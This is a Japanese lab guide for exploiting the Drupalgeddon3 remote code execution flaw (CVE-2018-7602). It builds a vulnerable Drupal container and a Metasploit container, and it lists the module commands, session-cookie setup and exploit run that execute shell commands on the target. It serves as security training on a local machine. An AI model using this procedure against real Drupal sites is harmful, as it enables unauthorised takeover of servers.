
Drupalgeddon3 RCEエクスプロイトラボ。Dockerベースの脆弱な環境とMetasploit統合により、CVE-2018-7602の悪用トレーニングを実践的に提供。
Drupal 7.x および 8.x の複数のサブシステムにリモートコード実行の脆弱性が存在します。これにより、攻撃者はDrupalサイトの複数の攻撃ベクトルを悪用し、サイトが侵害される可能性があります。この脆弱性はDrupalコアに関連するもので、重要度は極めて高く、リモートコード実行 - SA-CORE-2018-002 です。SA-CORE-2018-002 とこの脆弱性はどちらも実際に悪用されています。 --- MITRE
Docker for Mac (https://docs.docker.com/docker-for-mac/networking/#use-cases-and-workarounds) および Windows におけるネットワークの制限のため、以下のコードは docker と docker-compose がインストールされた LINUX マシン上で実行する必要があります。
ここでは2段階の手順を踏みます。最初に脆弱性のあるバージョン7.57のDrupalマシン、次に脆弱性の潜在的な危険性を示すために改造されたエクスプロイトを使用する攻撃マシンを用意します。
# CVE-2018-7602 ディレクトリ内にいることを前提とします
cd vulnerable_machine
docker-compose up -d
cd ..
警告 コマンドを実行する前に、ポート80が他のソフトウェアで使用されていないことを確認してください。
攻撃マシン: ここでは、カスタマイズされたエクスプロイト(drupal_drupalgeddon3_commander)を含むMetasploitのDockerイメージを起動します。これは後で使用します。以下のコマンドを実行します。
cd attacking_machine
docker-compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms
上記のコマンドの実行に問題がある場合は、実行ログを添付して [email protected] にメールを送信してください。喜んで問題解決を手伝います。
Drupalが起動したので、Drupalを使用して設定とコンテンツの作成を行います。以下の手順に従ってください。


# 概要
脆弱性を利用して ls や whoami などのコマンドを実行し、リモートからコマンドを実行できることを示します。
これで、脆弱性のあるDrupalインスタンスがlocalhostで実行されています。次のステップは、環境構築で作成したMetasploitインスタンスを使い始めることです。
Metasploit上で、以下のコマンドを使用してエクスプロイトデータベースをリロードします。
reload_all
これにより、必要なエクスプロイトにアクセスできるようになります。エクスプロイトに必要な情報を準備するために、サイトにログインしている何らかのユーザーのセッションクッキーが必要です。
簡単に取得するには、まだログインしていることを前提とします。開発者ツールでクッキーストレージを確認し、後で使用するために保存します。最終的に以下のようなものが得られるはずです。
#<session_name>=<session_token>
SESS49960de5880e8c687434170f6476605b=DGHZKHWaNC51nrVQHEsTD0_PS68EeNyvGjdzk1SVmss
Google Chromeを使用してクッキーを取得する例

次に、Metasploitでエクスプロイトをロードします。以下のコマンドを実行してください。
use exploits/unix/webapp/drupal_drupalgeddon3_commander
show options
ご覧の通り、いくつかのパラメータが必要です。 以下のようにパラメータを設定します。
set RHOSTS localhost
set DRUPAL_SESSION <session_name>=<session_token>
その後、次のコマンドを実行します。
exploit
これにより、Webサーバーを実行している現在のユーザーが表示されます。この場合 www-data です。デフォルトのコマンドは whoami に設定されているためです。また、JSON形式の追加情報も表示されますが、これは重要ではありません。
エクスプロイトの最終結果の様子:

実験の終了: すべての実験を正常に実行できたなら、これで終了です。おめでとうございます。
さらに実験を続けたい場合は、set 命令を使用してコマンドの値を変更するか、Metasploitで使用されるRubyスクリプトを修正してください。